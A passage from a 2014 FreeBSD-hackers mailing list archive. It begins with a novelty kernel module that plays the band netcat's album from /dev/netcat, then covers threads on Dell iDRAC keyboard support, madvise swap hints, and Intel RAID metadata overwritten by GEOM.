netcat_open; static d_close_t netcat_close; static d_read_t netcat_read; static d_write_t netcat_write; static struct cdevsw netcat_cdevsw = { .d_version = D_VERSION, .d_open = netcat_open, .d_close = netcat_close, .d_read = netcat_read, .d_write = netcat_write, .d_name = "netcat", }; static char *tracks[] = {netcat_cpi_trk1, netcat_cpi_trk2, netcat_cpi_trk3, netcat_cpi_trk4, netcat_cpi_trk5, netcat_cpi_trk6}; static char *tracknames[] = {"Interrupt 0x7f", "The Internet is an Apt Motherfucker", "Interrupt 0x0d", "netcat", "Interrupt 0xbb", "Approximating the Circumference of the Earth"}; static unsigned long tracklens[] = {NETCAT_CPI_TRK1_LEN, NETCAT_CPI_TRK2_LEN, NETCAT_CPI_TRK3_LEN, NETCAT_CPI_TRK4_LEN, NETCAT_CPI_TRK5_LEN, NETCAT_CPI_TRK6_LEN}; static struct { char *msg; int current_track; size_t bytes; } netcatdata; static struct cdev *netcat_dev; static int netcat_loader(struct module *module, int event, void *arg) { int e = 0; switch (event) { case MOD_LOAD: uprintf("netcat - Cycles Per Instruction - Kernel Module Edition - 2014\n"); uprintf("netcat is Brandon Lucia, Andrew Olmstead, and David Balatero\n"); uprintf("On the web at http://netcat.co\n"); uprintf("'ogg123 - < /dev/netcat' to play.\n"); e = make_dev_p(MAKEDEV_CHECKNAME | MAKEDEV_WAITOK, &netcat_dev, &netcat_cdevsw, 0, UID_ROOT, GID_WHEEL, 0444, "netcat"); if (e != 0) break; break; case MOD_UNLOAD: destroy_dev(netcat_dev); break; default: e = EOPNOTSUPP; break; } return (e); } static int netcat_open(struct cdev *dev __unused, int oflags __unused, int devtype __unused, struct thread *td __unused) { int error = 0; netcatdata.current_track = 0; netcatdata.msg = tracks[netcatdata.current_track]; /* track 1 */ netcatdata.bytes = 0; uprintf("Now playing %s\n", tracknames[netcatdata.current_track]); return (error); } static int netcat_close(struct cdev *dev __unused, int oflags __unused, int devtype __unused, struct thread *td __unused) { int error = 0; return (error); } static int netcat_read(struct cdev *dev __unused, struct uio *uio, int ioflag __unused) { int error = 0; size_t totalbytesleft; totalbytesleft = uio->uio_resid; while (totalbytesleft > 0) { int amt = MIN(uio->uio_resid, tracklens[netcatdata.current_track] - netcatdata.bytes); error = uiomove(tracks[netcatdata.current_track] + uio->uio_offset, amt, uio); netcatdata.bytes += amt; if (netcatdata.bytes == tracklens[netcatdata.current_track]) { uprintf("Now playing %s\n", tracknames[netcatdata.current_track]); netcatdata.bytes = 0; netcatdata.current_track = (netcatdata.current_track + 1) % 6; } } error = uiomove(tracks[netcatdata.current_track], 1, uio); if (error != 0) uprintf("uiomove failed!\n"); return (error); } static int netcat_write(struct cdev *dev __unused, struct uio *uio, int ioflag __unused) { int error = EOPNOTSUPP; return (error); } DEV_MODULE(netcat, netcat_loader, NULL); -- Eitan Adler From owner-freebsd-hackers@FreeBSD.ORG Fri Apr 25 06:12:58 2014 Return-Path: Delivered-To: hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 1BAA8796 for ; Fri, 25 Apr 2014 06:12:58 +0000 (UTC) Received: from elvis.mu.org (elvis.mu.org [192.203.228.196]) by mx1.freebsd.org (Postfix) with ESMTP id 0B79C1316 for ; Fri, 25 Apr 2014 06:12:57 +0000 (UTC) Received: from Alfreds-MacBook-Pro-9.local (c-76-21-10-192.hsd1.ca.comcast.net [76.21.10.192]) by elvis.mu.org (Postfix) with ESMTPSA id F06251A3C1D for ; Thu, 24 Apr 2014 23:12:54 -0700 (PDT) Message-ID: <5359FCE6.7050908@freebsd.org> Date: Thu, 24 Apr 2014 23:12:54 -0700 From: Alfred Perlstein User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.7; rv:24.0) Gecko/20100101 Thunderbird/24.4.0 MIME-Version: 1.0 To: hackers@freebsd.org Subject: Anyone get FreeBSD/PCBSD working with Dell iDrac Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 25 Apr 2014 06:12:58 -0000 I'm using a recent iDrac (I think 7.0) on FreeBSD 10-RELEASE It seems like at the installer the mouse works, however the keyboard doesn't seem to work. Anyone know a workaround to get the keyboard to work via the "virtual console" in Dell's iDrac? thank you, -Alfred From owner-freebsd-hackers@FreeBSD.ORG Fri Apr 25 08:33:01 2014 Return-Path: Delivered-To: hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 63A06870 for ; Fri, 25 Apr 2014 08:33:01 +0000 (UTC) Received: from us3.route.mx (us3.route.mx [107.21.107.127]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (Client did not present a certificate) by mx1.freebsd.org (Postfix) with ESMTPS id 1480411C6 for ; Fri, 25 Apr 2014 08:33:00 +0000 (UTC) Received: (route-mx 91483 invoked from network); 25 Apr 2014 08:26:18 -0000 Received: from 203.217.108.93.rev.vodafone.pt (HELO nbaris-imac.lan) (nbari@inbox.im@route.mx) (envelope-sender ) by us3.route.mx (route-mx) with AES128-SHA encrypted SMTP for ; 25 Apr 2014 08:26:18 -0000 Content-Type: text/plain; charset=us-ascii Mime-Version: 1.0 (Mac OS X Mail 7.2 \(1874\)) Subject: Re: Anyone get FreeBSD/PCBSD working with Dell iDrac From: Nicolas de Bari Embriz Garcia Rojas In-Reply-To: <5359FCE6.7050908@freebsd.org> Date: Fri, 25 Apr 2014 09:26:11 +0100 Content-Transfer-Encoding: quoted-printable Message-Id: <04EDD593-63A7-494B-B6D8-2A8E6A6DCE9A@inbox.im> References: <5359FCE6.7050908@freebsd.org> To: Alfred Perlstein X-Mailer: Apple Mail (2.1874) Cc: hackers@freebsd.org X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 25 Apr 2014 08:33:01 -0000 With FreeBSD 9 I recompiled the kernel with this so that I could type on = the vconsole # USB support device uhci # UHCI PCI->USB interface device ohci # OHCI PCI->USB interface device ehci # EHCI PCI->USB interface (USB 2.0) device usb # USB Bus (required) device uhid # "Human Interface Devices" device ukbd # Keyboard device umass # Disks/Mass storage - Requires scbus and da device ums # Mouse regards On Apr 25, 2014, at 7:12 AM, Alfred Perlstein = wrote: > I'm using a recent iDrac (I think 7.0) on FreeBSD 10-RELEASE >=20 > It seems like at the installer the mouse works, however the keyboard = doesn't seem to work. >=20 > Anyone know a workaround to get the keyboard to work via the "virtual = console" in Dell's iDrac? >=20 > thank you, > -Alfred > _______________________________________________ > freebsd-hackers@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-hackers > To unsubscribe, send any mail to = "freebsd-hackers-unsubscribe@freebsd.org" From owner-freebsd-hackers@FreeBSD.ORG Fri Apr 25 12:13:31 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 6AD4FDE7; Fri, 25 Apr 2014 12:13:31 +0000 (UTC) Received: from wojtek.tensor.gdynia.pl (wojtek.tensor.gdynia.pl [188.252.31.196]) (using TLSv1.2 with cipher ECDHE-RSA-AES256-GCM-SHA384 (256/256 bits)) (Client did not present a certificate) by mx1.freebsd.org (Postfix) with ESMTPS id AF7C51A87; Fri, 25 Apr 2014 12:13:30 +0000 (UTC) Received: from wojtek.tensor.gdynia.pl (localhost [127.0.0.1]) by wojtek.tensor.gdynia.pl (8.14.7/8.14.7) with ESMTP id s3PBxOMw030221; Fri, 25 Apr 2014 13:59:24 +0200 (CEST) (envelope-from wojtek@wojtek.tensor.gdynia.pl) Received: from localhost (wojtek@localhost) by wojtek.tensor.gdynia.pl (8.14.8/8.14.7/Submit) with ESMTP id s3PBxNId030218; Fri, 25 Apr 2014 13:59:23 +0200 (CEST) (envelope-from wojtek@wojtek.tensor.gdynia.pl) Date: Fri, 25 Apr 2014 13:59:23 +0200 (CEST) From: Wojciech Puchar To: =?ISO-8859-2?Q?Edward_Tomasz_Napiera=B3a?= Subject: Re: Priotizing pages to be swapped-out In-Reply-To: <3FE8172F-057E-426E-9981-67A77B7FC352@FreeBSD.org> Message-ID: References: <1398200734.20818.YahooMailNeo@web181703.mail.ne1.yahoo.com> <3FE8172F-057E-426E-9981-67A77B7FC352@FreeBSD.org> User-Agent: Alpine 2.00 (BSF 1167 2008-08-23) MIME-Version: 1.0 X-Greylist: Sender passed SPF test, not delayed by milter-greylist-4.4.3 (wojtek.tensor.gdynia.pl [127.0.0.1]); Fri, 25 Apr 2014 13:59:24 +0200 (CEST) Content-Type: TEXT/PLAIN; charset=iso-8859-2; format=flowed Content-Transfer-Encoding: 8BIT X-Content-Filtered-By: Mailman/MimeDel 2.1.17 Cc: "freebsd-hackers@freebsd.org" , Sushanth Rai X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 25 Apr 2014 12:13:31 -0000 MADV_DONTNEED as well as MADV_SEQUENTIAL On Thu, 24 Apr 2014, Edward Tomasz Napierała wrote: > Wiadomo¶ć napisana przez Sushanth Rai w dniu 22 kwi 2014, o godz. 23:05: >> Is there any mechanism for a privileged user application to provide a hint to kernel to prioritize some user pages to be swapped-out later (after all the "lower" priority pages have been swapped-out) > > See madvise(2), perhaps? > > _______________________________________________ > freebsd-hackers@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-hackers > To unsubscribe, send any mail to "freebsd-hackers-unsubscribe@freebsd.org" > > From owner-freebsd-hackers@FreeBSD.ORG Fri Apr 25 12:52:45 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id C84E2163 for ; Fri, 25 Apr 2014 12:52:45 +0000 (UTC) Received: from mail.lifanov.com (mail.lifanov.com [206.125.175.12]) (using TLSv1.2 with cipher ECDHE-RSA-AES256-GCM-SHA384 (256/256 bits)) (Client did not present a certificate) by mx1.freebsd.org (Postfix) with ESMTPS id A86C3102A for ; Fri, 25 Apr 2014 12:52:45 +0000 (UTC) Received: by mail.lifanov.com (Postfix, from userid 58) id BFDFE1AFE4F; Fri, 25 Apr 2014 08:52:44 -0400 (EDT) X-Spam-Checker-Version: SpamAssassin 3.4.0 (2014-02-07) on mail.lifanov.com X-Spam-Level: X-Spam-Status: No, score=-1.0 required=5.0 tests=ALL_TRUSTED,SHORTCIRCUIT shortcircuit=ham autolearn=disabled version=3.4.0 Received: from [10.1.3.5] (cnet520-windstream.mcclatchyinteractive.com [166.108.16.2]) (using TLSv1 with cipher ECDHE-RSA-AES128-SHA (128/128 bits)) (No client certificate requested) by mail.lifanov.com (Postfix) with ESMTPSA id 95A4E1AFE4C for ; Fri, 25 Apr 2014 08:52:17 -0400 (EDT) Message-ID: <535A5A80.8080504@mail.lifanov.com> Date: Fri, 25 Apr 2014 08:52:16 -0400 From: Nikolai Lifanov User-Agent: Mozilla/5.0 (X11; FreeBSD amd64; rv:24.0) Gecko/20100101 Thunderbird/24.4.0 MIME-Version: 1.0 To: freebsd-hackers@freebsd.org Subject: Re: Anyone get FreeBSD/PCBSD working with Dell iDrac, (Alfred Perlstein) References: In-Reply-To: Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 25 Apr 2014 12:52:45 -0000 On 04/25/14 08:00, alfred@freebsd.org wrote: > I'm using a recent iDrac (I think 7.0) on FreeBSD 10-RELEASE > > It seems like at the installer the mouse works, however the keyboard > doesn't seem to work. > > Anyone know a workaround to get the keyboard to work via the "virtual > console" in Dell's iDrac? > > thank you, > -Alfred I work with a few iDRAC 7s, as well as 6s, and a large amount of much worse remote console types using a FreeBSD 10-RELEASE workstation. I use Firefox + Wine with Java installed and it's working out fine with recent versions of Wine. You will have a hard time getting remote disks to work with a native version of Java (they drop a Linux .so in $HOME at best, and nothing at worst). - Nikolai Lifanov From owner-freebsd-hackers@FreeBSD.ORG Fri Apr 25 13:20:27 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 6ACE8F6B for ; Fri, 25 Apr 2014 13:20:27 +0000 (UTC) Received: from mail-lb0-x22b.google.com (mail-lb0-x22b.google.com [IPv6:2a00:1450:4010:c04::22b]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (Client CN "smtp.gmail.com", Issuer "Google Internet Authority G2" (verified OK)) by mx1.freebsd.org (Postfix) with ESMTPS id E87CF12C5 for ; Fri, 25 Apr 2014 13:20:26 +0000 (UTC) Received: by mail-lb0-f171.google.com with SMTP id u14so108785lbd.16 for ; Fri, 25 Apr 2014 06:20:23 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=googlemail.com; s=20120113; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :cc:content-type; bh=aT7wrdqOLvP22zvzXB26j3njSP8JsAqC69saiLzl4kM=; b=oCy7BKTh9m9uHj+gzQSojLKabp/VeFrmhpajkxJ33X0VN2bMfl20jA9ba5c77xp8hG N3ifUjXnBDTC4QGJpq2OJSEQsMoCgNU/4+nheI21FkK74Z6flVJ6OMhewp1/iCHNjOWO +NFuxCkx6FBYEqtfuSQnzAnl9TeG/u7M5JQ+E2ZSinMucMLT3C9uFNOf1vGLHRuc97Of sFvxHDPHMZYkYL8bUmB0LXyfsrn04l6cWjYnsFZWgKUI138bpWxI1ia9wpF/aqJf9Dsd bJ6jlNXgYAw/MflyEP7pnE4jen6yfetjcCH27xSFTg/8KAsTWKMBF5wEivt3h+oHZ7jj HzBw== MIME-Version: 1.0 X-Received: by 10.152.42.230 with SMTP id r6mr5745658lal.32.1398432023858; Fri, 25 Apr 2014 06:20:23 -0700 (PDT) Received: by 10.112.129.164 with HTTP; Fri, 25 Apr 2014 06:20:23 -0700 (PDT) In-Reply-To: <535A5A80.8080504@mail.lifanov.com> References: <535A5A80.8080504@mail.lifanov.com> Date: Fri, 25 Apr 2014 14:20:23 +0100 Message-ID: Subject: Re: Anyone get FreeBSD/PCBSD working with Dell iDrac, (Alfred Perlstein) From: Tom Evans To: Nikolai Lifanov Content-Type: text/plain; charset=UTF-8 Cc: "freebsd-hackers@freebsd.org" X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 25 Apr 2014 13:20:27 -0000 On Fri, Apr 25, 2014 at 1:52 PM, Nikolai Lifanov wrote: > On 04/25/14 08:00, alfred@freebsd.org wrote: >> I'm using a recent iDrac (I think 7.0) on FreeBSD 10-RELEASE >> >> It seems like at the installer the mouse works, however the keyboard >> doesn't seem to work. >> >> Anyone know a workaround to get the keyboard to work via the "virtual >> console" in Dell's iDrac? >> >> thank you, >> -Alfred > > I work with a few iDRAC 7s, as well as 6s, and a large amount of much > worse remote console types using a FreeBSD 10-RELEASE workstation. I use > Firefox + Wine with Java installed and it's working out fine with recent > versions of Wine. You will have a hard time getting remote disks to work > with a native version of Java (they drop a Linux .so in $HOME at best, > and nothing at worst). Or virtualbox and a linux/windows VM works well too. Cheers Tom From owner-freebsd-hackers@FreeBSD.ORG Fri Apr 25 13:07:01 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 2171D8F0 for ; Fri, 25 Apr 2014 13:07:01 +0000 (UTC) Received: from amber.schedom-europe.net (amber.schedom-europe.net [193.109.184.92]) by mx1.freebsd.org (Postfix) with SMTP id 8203F1192 for ; Fri, 25 Apr 2014 13:07:00 +0000 (UTC) Received: (qmail 7944 invoked by uid 507); 25 Apr 2014 15:00:18 +0200 X-Spam-Checker-Version: SpamAssassin 3.2.5 (2008-06-10) on amber.schedom-europe.net X-Spam-Level: ************ X-Spam-Status: No, score=12.1 required=15.0 tests=BAYES_99, FH_DATE_PAST_20XX, RCVD_IN_PBL, RCVD_IN_SORBS_DUL, RDNS_DYNAMIC autolearn=disabled version=3.2.5 Received: from ip-83-101-78-212.customer.schedom-europe.net (HELO roundcube.malavon.com) (83.101.78.212) by amber.schedom-europe.net with SMTP; 25 Apr 2014 15:00:10 +0200 MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII; format=flowed Content-Transfer-Encoding: 7bit Date: Fri, 25 Apr 2014 15:00:10 +0200 From: Benny Goemans To: freebsd-hackers@freebsd.org Subject: Intel Matrix RAID metadata messed up by geom Message-ID: <503d9f9cdd1a1a0f969bb2bb5b57982b@roundcube.malavon.com> X-Sender: benny.goemans@belgacom.net User-Agent: Roundcube Webmail/1.0.0 X-Mailman-Approved-At: Fri, 25 Apr 2014 15:11:35 +0000 X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 25 Apr 2014 13:07:01 -0000 (I originally sent this to the geom mailinglist, but I assume that list isn't meant for user questions; I've also added some more info) Hi all, First some background: I'm running 2 rather big raid (well, software raid) arrays, one RAID 0 and one RAID 5. Up to now this didn't pose much problems, aside from the occasional rebuilding for which I needed to boot my fallback windows OS. I was happy with this, but since I'm lagging behind this much in version (8- will soon disappear) I assumed that I could at least try upgrading to 10 and see what happens. So, I did: * used freebsd-update to get updates, merge and install * rebooted into BSD 10 kernel * I see messages from GEOM passing by, noticing my raid arrays * I get warnings about read-only filesystems and I realise that geom doesn't support writing to ICH RAID 5 arrays (which I read when I wanted to upgrade to 9, but seemed to have forgotten) I figure, no harm done, I'll just boot a 8.4 disk and reinstall the kernel. So I reboot ... only to find out that my drives show up as INCOMPATIBLE in the ICH configuration utility. I'm assuming that GEOM decided to overwrite critical metadata with a version that my motherboard doesn't support. I never ran any geom tools, never saw a warning in the boot which would have prompted me to abort. It just did. So, I have two questions: 1a) isn't this a bug? I'm assuming that GEOM shouldn't at least overwrite metadata without allowing the user to abort, especially not with a newer version that might not be supported anymore 1b) does this also happen when booting the live cd? if it does, it doesn't feel right 2) is there anyone out there who can help me get this meta data back to a version my mainboard supports? I really need this system up and running again (as it's my main pc) without having to reinstall everything, which would take ages. I do have backups of most critical data, but I'd still like to have the non/less-critical data as well. Some extra info: mainboard: Asus P5WDG 2 WS, with latest (official) 0805 bios ICH: 5.1.2, ICH7R I can boot the system with a BSD 10 memdisk and access the data on the BSD partitions, so it's not gone. For the ntfs partitions I'm still looking for a solution, but as I said I'd rather get the system up and running again than try to backup everything that I need and rebuild. The risk that I'm forgetting something is simply too big. What I'm currently doing/trying: * backing up as much as I can * trying to find more information of the metadata written by geom or the ICH, without much luck ** I figure the changes won't be huge between what GEOM has written and what the original data was; if I find a datasheet I might try to fix it manually * figuring out a way to restore the correct metadata without trying to understand geom source code, as this is _way_ over my skill set; it would likely take years for me to figure it out * checking out unofficial bios'es for my mainboard that may or may not have a more recent ICH on board; last resort only though as these may put me off even worse (with no more access to these disks at all) Kind regards, Benny Goemans From owner-freebsd-hackers@FreeBSD.ORG Fri Apr 25 15:44:38 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id AF81F652 for ; Fri, 25 Apr 2014 15:44:38 +0000 (UTC) Received: from elvis.mu.org (elvis.mu.org [192.203.228.196]) by mx1.freebsd.org (Postfix) with ESMTP id 9A3A7136D for ; Fri, 25 Apr 2014 15:44:38 +0000 (UTC) Received: from Alfreds-MacBook-Pro-9.local (c-76-21-10-192.hsd1.ca.comcast.net [76.21.10.192]) by elvis.mu.org (Postfix) with ESMTPSA id D08D31A3C1A for ; Fri, 25 Apr 2014 08:44:35 -0700 (PDT) Message-ID: <535A82E3.3050504@mu.org> Date: Fri, 25 Apr 2014 08:44:35 -0700 From: Alfred Perlstein User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.7; rv:24.0) Gecko/20100101 Thunderbird/24.4.0 MIME-Version: 1.0 To: freebsd-hackers@freebsd.org Subject: Re: Anyone get FreeBSD/PCBSD working with Dell iDrac References: <5359FCE6.7050908@freebsd.org> <04EDD593-63A7-494B-B6D8-2A8E6A6DCE9A@inbox.im> In-Reply-To: <04EDD593-63A7-494B-B6D8-2A8E6A6DCE9A@inbox.im> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 25 Apr 2014 15:44:38 -0000 On 4/25/14 1:26 AM, Nicolas de Bari Embriz Garcia Rojas wrote: > With FreeBSD 9 I recompiled the kernel with this so that I could type on the vconsole > > # USB support > device uhci # UHCI PCI->USB interface > device ohci # OHCI PCI->USB interface > device ehci # EHCI PCI->USB interface (USB 2.0) > device usb # USB Bus (required) > device uhid # "Human Interface Devices" > device ukbd # Keyboard > device umass # Disks/Mass storage - Requires scbus and da > device ums # Mouse Hmm, on FreeBSD 10 this already is in the GENERIC kernel: # USB support options USB_DEBUG # enable debug msgs device uhci # UHCI PCI->USB interface device ohci # OHCI PCI->USB interface device ehci # EHCI PCI->USB interface (USB 2.0) device xhci # XHCI PCI->USB interface (USB 3.0) device usb # USB Bus (required) device ukbd # Keyboard device umass # Disks/Mass storage - Requires scbus and da So I am unsure that your suggestion would work. -Alfred > > > regards > > On Apr 25, 2014, at 7:12 AM, Alfred Perlstein wrote: > >> I'm using a recent iDrac (I think 7.0) on FreeBSD 10-RELEASE >> >> It seems like at the installer the mouse works, however the keyboard doesn't seem to work. >> >> Anyone know a workaround to get the keyboard to work via the "virtual console" in Dell's iDrac? >> >> thank you, >> -Alfred >> _______________________________________________ >> freebsd-hackers@freebsd.org mailing list >> http://lists.freebsd.org/mailman/listinfo/freebsd-hackers >> To unsubscribe, send any mail to "freebsd-hackers-unsubscribe@freebsd.org" > _______________________________________________ > freebsd-hackers@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-hackers > To unsubscribe, send any mail to "freebsd-hackers-unsubscribe@freebsd.org" > -- Alfred Perlstein From owner-freebsd-hackers@FreeBSD.ORG Fri Apr 25 15:47:28 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 63E94807 for ; Fri, 25 Apr 2014 15:47:28 +0000 (UTC) Received: from elvis.mu.org (elvis.mu.org [192.203.228.196]) by mx1.freebsd.org (Postfix) with ESMTP id 5142A13B2 for ; Fri, 25 Apr 2014 15:47:28 +0000 (UTC) Received: from Alfreds-MacBook-Pro-9.local (c-76-21-10-192.hsd1.ca.comcast.net [76.21.10.192]) by elvis.mu.org (Postfix) with ESMTPSA id E7A951A3C53 for ; Fri, 25 Apr 2014 08:47:27 -0700 (PDT) Message-ID: <535A838F.3000106@freebsd.org> Date: Fri, 25 Apr 2014 08:47:27 -0700 From: Alfred Perlstein User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.7; rv:24.0) Gecko/20100101 Thunderbird/24.4.0 MIME-Version: 1.0 To: freebsd-hackers@freebsd.org Subject: Re: Anyone get FreeBSD/PCBSD working with Dell iDrac, (Alfred Perlstein) References: <535A5A80.8080504@mail.lifanov.com> In-Reply-To: <535A5A80.8080504@mail.lifanov.com> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 25 Apr 2014 15:47:28 -0000 On 4/25/14 5:52 AM, Nikolai Lifanov wrote: > On 04/25/14 08:00, alfred@freebsd.org wrote: >> I'm using a recent iDrac (I think 7.0) on FreeBSD 10-RELEASE >> >> It seems like at the installer the mouse works, however the keyboard >> doesn't seem to work. >> >> Anyone know a workaround to get the keyboard to work via the "virtual >> console" in Dell's iDrac? >> >> thank you, >> -Alfred > I work with a few iDRAC 7s, as well as 6s, and a large amount of much > worse remote console types using a FreeBSD 10-RELEASE workstation. I use > Firefox + Wine with Java installed and it's working out fine with recent > versions of Wine. You will have a hard time getting remote disks to work > with a native version of Java (they drop a Linux .so in $HOME at best, > and nothing at worst). Thanks Nikolai, The problem I am having is that keyboard does not work with either PCBSD 10 or FreeBSD 10 over the iDrac console. PCBSD freaks out and loses the root fs AND I can't type. FreeBSD on the other hand only loses the keyboard (although mouse works). We happen to be using the native active X on Windows as the Java stuff seems not to work. Any ideas? thank you, -Alfred From owner-freebsd-hackers@FreeBSD.ORG Fri Apr 25 18:12:14 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 07B2EB6D for ; Fri, 25 Apr 2014 18:12:14 +0000 (UTC) Received: from nm1-vm1.access.bullet.mail.gq1.yahoo.com (nm1-vm1.access.bullet.mail.gq1.yahoo.com [216.39.62.62]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (Client did not present a certificate) by mx1.freebsd.org (Postfix) with ESMTPS id BF7451508 for ; Fri, 25 Apr 2014 18:12:13 +0000 (UTC) Received: from [216.39.60.171] by nm1.access.bullet.mail.gq1.yahoo.com with NNFMP; 25 Apr 2014 18:10:30 -0000 Received: from [216.39.60.233] by tm7.access.bullet.mail.gq1.yahoo.com with NNFMP; 25 Apr 2014 18:10:30 -0000 Received: from [127.0.0.1] by omp1004.access.mail.gq1.yahoo.com with NNFMP; 25 Apr 2014 18:10:30 -0000 X-Yahoo-Newman-Property: ymail-3 X-Yahoo-Newman-Id: 477733.45298.bm@omp1004.access.mail.gq1.yahoo.com Received: (qmail 35736 invoked by uid 60001); 25 Apr 2014 18:10:29 -0000 DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=yahoo.com; s=s1024; t=1398449429; bh=V/WVprndHhoZwBGPOXk7p3j2UpISFWlGseSnwzcZCkM=; h=X-YMail-OSG:Received:X-Rocket-MIMEInfo:X-Mailer:References:Message-ID:Date:From:Reply-To:Subject:To:Cc:In-Reply-To:MIME-Version:Content-Type; b=AWwMMzeH+AeXcnOV3BB8CBxT7neUJdv4dLpub6ICWrF+Ezu+yojfqzKKnHZ3VLRyAKKU+UnM9FvcNUkftNmHTWUu+LXMuF08fShG5Q/HtjNkbJ8g2RNON1SSmKAITVP39vN3Sg3GKvHy62+WpgnLhvAU8yiAsfMiLmZZg7xKqHk= X-YMail-OSG: vejnR6EVM1mHhuHaGDfoZ3rU.kASllOuZ.ve4d2EUtnsZNs Jj4KGIvG4o0Zx8AUNaK6IjHF.Ae0XFrOdvDOKFCSzAbdzh_ozCEghUr9bQgu FvUw8FoX1q_8UPbA.Hgr39idD_.yAFkWOu5Gr0WDtkc8BICGdY8YVy_Vn9yY H8ITGdY9qO5AfQuqUjNDl4E6mGQXGqNFhAlPDlv52D8N67LkVDS9Scfn9ys7 QiwaJEpyxENMu75M22691rv2vkXHzmJOwAGLvkVqi7lDUCJ5_juz3BcAHWri W22ZrfrKTLZTjXGfVGRN30ZGwBAt4ykm9DK4p3uvRSHSlr7BmwZpzjA6FPiC I5J6rf0tffLd4Zf8f95ym.1HTDFUuklPmDb6bFViCZ4hLU2nVNw6WT_i3YDY ywkVb2I5mBQzVqhRR6HFg1Dil8WW6de9DwLnqgOleDXbh4IaCoWy2cKqmNNL rcU3XL86X_A5S_UWV1EpN0loINde7SsVa8FPGk2Lcmhx5cCai_bGOPUsVntP 